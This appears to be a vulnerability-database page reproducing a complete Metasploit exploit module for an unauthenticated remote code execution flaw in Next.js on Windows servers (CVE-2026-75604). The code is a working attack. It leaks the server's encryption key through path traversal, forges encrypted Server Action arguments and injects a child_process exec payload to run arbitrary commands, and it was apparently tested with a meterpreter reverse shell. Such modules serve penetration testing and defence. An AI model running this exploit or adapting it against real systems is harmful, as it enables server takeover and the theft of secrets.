Next.js Unauthenticated RCE on Windows Servers
🗓️ 26 Aug 2026 00:00:00Reported by Maksim Rogov, Bogyeom Lee, Avishek SarkarType
metasploit🔗 www.rapid7.com👁 6 Views
| Reporter | Title | Published | Views | Family All 39 |
|---|---|---|---|---|
| Exploit for CVE-2026-75604 | 26 Aug 202611:48 | – | githubexploit | |
| Exploit for CVE-2026-75604 | 3 Sep 202617:07 | – | githubexploit | |
| Exploit for CVE-2026-75604 | 25 Aug 202619:06 | – | githubexploit | |
| CVE-2026-75604 vulnerabilities | 11 Sep 202608:54 | – | cgr | |
| CVE-2026-75604 | 25 Aug 202622:00 | – | circl | |
| CVE-2026-75604 | 1 Sep 202621:23 | – | cve | |
| CVE-2026-75604 Next.js: Unauthenticated Remote Code Execution on windows-hosted servers | 1 Sep 202621:23 | – | cvelist | |
| EUVD-2026-69702 | 8 Sep 202620:51 | – | euvd | |
| Next.js: Unauthenticated Remote Code Execution on windows-hosted servers | 8 Sep 202620:51 | – | github | |
| Project-CVE-2026-75604 | 10 Sep 202616:20 | – | kitploit |
10
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'openssl'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Auxiliary::Report
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Next.js Unauthenticated RCE on Windows Servers',
'Description' => %q{
This module exploits a Remote Code Execution (RCE) vulnerability in Next.js applications
hosted on Windows servers. Specifically crafted requests can execute arbitrary code on the target server.
The affected versions include releases from 13.4.0 up to 15.5.24, and 16.0.0 up to 16.3.3,
utilizing both Pages and App Routers without Cache Components.
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit Module
'Bogyeom Lee', # Vulnerability Discovery
'Avishek Sarkar' # Vulnerability Discovery
],
'References' => [
['CVE', '2026-75604'],
['URL', 'https://nextjs.org/blog/august-2026-security-release'],
['URL', 'https://github.com/vercel/next.js/security/advisories/GHSA-p293-qw3h-jr36'],
['URL', 'https://sybr1d.xyz/posts/nextjs-path-traversal-rce-windows/']
],
'Arch' => [ARCH_CMD],
'Targets' => [
[
'Next.js >=13.4 <15.5.24, >=16.0 <16.3.3 / Windows payload',
{
'Platform' => ['windows']
# Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2026-08-26',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS],
# Session reliability depends on the page cache expiration time
'Reliability' => [UNRELIABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Path to the Next.JS App', '/']),
OptString.new('APP_ROUTER', [true, 'Path to the page using App Router']),
OptString.new('PAGES_ROUTER', [true, 'Path to the page using Pages Router']),
OptString.new('PATH_SEGMENT', [false, 'Any dynamic path segment for App and Pages routers']),
OptString.new('TARGET_FIELD', [false, 'The specific form field name to inject the payload into, must match the last variable used in the closure (unset = defaults to the last field)']),
OptString.new('ACTION_PATH', [true, 'Path to the page containing the Server Action form'])
]
)
end
def parse_build_id
return @cached_build_id if @cached_build_id
path_segment = datastore['PATH_SEGMENT'].presence || Faker::Lorem.word
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, datastore['APP_ROUTER'], path_segment),
'headers' => { 'Origin' => origin_header }
)
return nil unless res && res.code == 200
doc = res.get_html_document
return nil unless doc
doc.css('script').each do |script|
# Matches Next.js internal method calls like __next_f.push(...)
# and captures the argument inside the parentheses (the state chunk contents)
script.text.scan(/__next_f\.push\((.+)\)/).each do |match|
json_arr = begin
JSON.parse(match[0])
rescue StandardError
next
end
# Strips the chunk ID prefix at the beginning of the string (e.g., "1:{"key":"value"}" -> "{"key":"value"}")
state = begin
JSON.parse(json_arr[1].to_s.sub(/^\d+:/, ''))
rescue StandardError
next
end
if state.is_a?(Hash) && state.key?('b')
@cached_build_id = state['b']
return @cached_build_id
end
end
end
nil
end
def make_traversal(*parts, sequence: '..%5C')
path = normalize_uri(*parts)
# Strips the Next.js routing data prefix (/_next/data/[build_id])
# to keep only internal directories for path traversal construction
route_dirs = path.sub(%r{^/_next/data/[^/]+}, '').split('/')[1..-2] || []
depth = [route_dirs.size + 1, 1].max
# Locates the final path segment (file name or terminal directory)
# and replaces it with the path traversal sequence
path.sub(%r{/([^/]+)$}, "/#{(sequence * depth)}\\1")
end
def leak_manifest(build_id)
return @cached_manifest if @cached_manifest
# Trigger an App Router request with path traversal (..%5C) to escape the
# expected cache directory on Windows and force the server to generate a
# cache artifact (.html) on disk next to the internal manifest
send_request_cgi(
'method' => 'GET',
'uri' => make_traversal(target_uri.path, datastore['APP_ROUTER'], 'server-reference-manifest'),
'headers' => { 'Origin' => origin_header }
)
res = send_request_cgi(
'method' => 'GET',
'uri' => make_traversal(target_uri.path, "/_next/data/#{build_id}", datastore['PAGES_ROUTER'], 'server-reference-manifest.json'),
'headers' => { 'Origin' => origin_header }
)
return nil unless res && res.code == 200
json_doc = begin
res.get_json_document
rescue StandardError
nil
end
return nil unless json_doc.is_a?(Hash) && (json_doc.key?('encryptionKey') || json_doc.key?('node'))
@cached_manifest = json_doc
end
def parse_actions(action_path)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, action_path),
'headers' => { 'Origin' => origin_header }
)
fail_with(Failure::Unreachable, 'Failed to load target page for action collection') unless res && res.code == 200
actions = []
res.get_html_document.css('form').each do |form|
actions.concat(extract_actions_from_form(form))
end
fail_with(Msf::Module::Failure::UnexpectedReply, 'No compatible Server Actions found on the specified path') unless actions.any?
actions
end
def extract_form_valid_fields(form)
inputs = {}
form.css('input, textarea, select').each do |i|
name = i['name']
next if name.nil? || name.empty?
next if name.start_with?('$ACTION_')
type = (i['type'] || 'text').downcase
next if %w[submit button image file].include?(type)
default_val = i.name == 'textarea' ? i.text.presence : i['value']
inputs[name] = default_val.presence || Rex::Text.rand_text_alphanumeric(6..12)
end
inputs
end
def extract_actions_from_form(form)
valid_fields = extract_form_valid_fields(form)
return [] if valid_fields.empty?
target_field = form.css('input[type="text"], textarea').map { |i| i['name'] }.find { |n| valid_fields.key?(n) } || valid_fields.keys.last
form_actions = []
form.css('input[name]').each do |input|
ref_key = input['name']
next unless ref_key&.start_with?('$ACTION_REF_')
ref = ref_key.sub('$ACTION_REF_', '')
desc_node = form.at("input[@name='$ACTION_#{ref}:0']")
desc = desc_node ? desc_node['value'] : nil
next unless desc
action_id = begin
JSON.parse(desc)['id']
rescue StandardError
nil
end
next unless action_id
form_actions << { reference: ref, id: action_id, field: target_field, valid_fields: valid_fields }
end
form_actions
end
def encrypt_bound_args(action_id, encryption_key)
flight = "1:{}\n0:[\"$1:constructor:constructor\"]\n"
iv = SecureRandom.random_bytes(16)
plaintext = action_id.to_s + flight
key_bytes = begin Base64.strict_decode64(encryption_key.to_s)
rescue ArgumentError
fail_with(Failure::UnexpectedReply, 'Encryption key is not valid base64')
end
unless [16, 24, 32].include?(key_bytes.bytesize)
fail_with(Failure::UnexpectedReply, "Unexpected encryption key length: #{key_bytes.bytesize}")
end
cipher = OpenSSL::Cipher.new("aes-#{key_bytes.bytesize * 8}-gcm")
cipher.encrypt
cipher.key = key_bytes
cipher.iv_len = 16
cipher.iv = iv
cipher.auth_data = ''
ciphertext = cipher.update(plaintext) + cipher.final
tag = cipher.auth_tag
Base64.strict_encode64(iv + ciphertext + tag)
end
def origin_header
full_uri('', vhost_uri: true).chomp('/')
end
def detect_and_report_service?
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => { 'Origin' => origin_header }
})
return false unless res
is_nextjs = (res.headers['X-Powered-By'] =~ /Next\.js/i) ||
res.body.include?('/_next/static/') ||
res.body.include?('__NEXT_DATA__') ||
res.body.include?('__next_f.push')
return false unless is_nextjs
@service = report_service(
host: rhost,
port: rport,
proto: 'tcp',
name: ssl ? 'https' : 'http',
info: 'Next.js application'
)
true
end
def check
return Exploit::CheckCode::Safe('Target is not running Next.js or did not respond') unless detect_and_report_service?
build_id = parse_build_id
return Exploit::CheckCode::Unknown('Failed to retrieve build ID. Target may not be running Next.js') unless build_id
manifest = leak_manifest(build_id)
return Exploit::CheckCode::Safe('Target is safe or cache path is protected (manifest could not be leaked)') unless manifest&.key?('encryptionKey')
report_vuln(
host: rhost,
port: rport,
proto: 'tcp',
service: @service,
name: name.to_s,
refs: references,
info: "Module #{fullname} found vulnerable host"
)
Exploit::CheckCode::Vulnerable("Vulnerable build ID found: #{build_id} and encryption key successfully leaked")
rescue StandardError
Exploit::CheckCode::Unknown('An error occurred while checking the target.')
end
def build_post_data(reference, action_id, encrypted_args, valid_fields)
js_bytes = "String.fromCharCode(#{payload.encoded.bytes.join(',')})"
js_payload = "return process.mainModule.require('child_process').exec(#{js_bytes})"
post_data = [
{ 'name' => "$ACTION_REF_#{reference}", 'data' => '' },
{ 'name' => "$ACTION_#{reference}:0", 'data' => JSON.dump({ 'id' => action_id, 'bound' => '$@1' }) },
{ 'name' => "$ACTION_#{reference}:1", 'data' => '["$@2"]' },
{ 'name' => "$ACTION_#{reference}:2", 'data' => JSON.dump(encrypted_args) }
]
target_field = datastore['TARGET_FIELD']
payload_field_name = (target_field.present? && valid_fields.key?(target_field)) ? target_field : valid_fields.keys.last
valid_fields.each do |field_name, default_value|
data_value = (field_name == payload_field_name) ? js_payload : default_value
post_data << { 'name' => field_name, 'data' => data_value }
end
post_data
end
def send_exploit_request(reference, action_id, encrypted_args, valid_fields)
post_data = build_post_data(reference, action_id, encrypted_args, valid_fields)
data = Rex::MIME::Message.new
post_data.each do |field|
data.add_part(field['data'], nil, nil, "form-data; name=\"#{field['name']}\"")
end
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, datastore['ACTION_PATH']),
'headers' => { 'Origin' => origin_header },
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'vars_get' => {}
)
fail_with(Failure::Unreachable, "#{peer} - No response from target") unless res
if res.code == 500
fail_with(Failure::UnexpectedReply, "#{peer} - Server returned 500 Internal Server Error. This usually indicates a SyntaxError (payload might have landed in the wrong place instead of the last argument in the closure. Try specifying TARGET_FIELD manually).")
elsif res.code != 200
fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected response code: #{res.code}")
end
res
end
def exploit
print_status('Fetching application Build ID...')
build_id = parse_build_id
fail_with(Msf::Module::Failure::UnexpectedReply, 'Could not extract build ID from response') unless build_id
print_good("Successfully retrieved Build ID: #{build_id}")
print_status('Leaking server reference manifest...')
manifest = leak_manifest(build_id)
fail_with(Msf::Module::Failure::UnexpectedReply, 'Failed to leak server reference manifest') unless manifest
fail_with(Msf::Module::Failure::UnexpectedReply, 'Encryption key missing in manifest') unless manifest&.key?('encryptionKey')
print_good("Successfully leaked manifest and encryption key: #{manifest['encryptionKey']}")
print_status("Searching for available Server Actions at path: #{datastore['ACTION_PATH']}...")
actions = parse_actions(datastore['ACTION_PATH'])
selected_action = actions.find { |act| manifest.dig('node', act[:id]) }
fail_with(Msf::Module::Failure::UnexpectedReply, 'Target vulnerable Server Action node not found in manifest') unless selected_action
reference = selected_action[:reference]
action_id = selected_action[:id]
valid_fields = selected_action[:valid_fields]
print_good("Selected Action ID: #{action_id} (Ref: #{reference})")
print_status('Encrypting bound arguments payload...')
encrypted_args = encrypt_bound_args(action_id, manifest['encryptionKey'])
print_status('Sending exploit request to target server...')
send_exploit_request(reference, action_id, encrypted_args, valid_fields)
print_good('Received HTTP 200 OK response, awaiting payload execution...')
end
end
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
26 Aug 2026 00:00Current
CVSS 3.19
EPSS0.02462
SSVC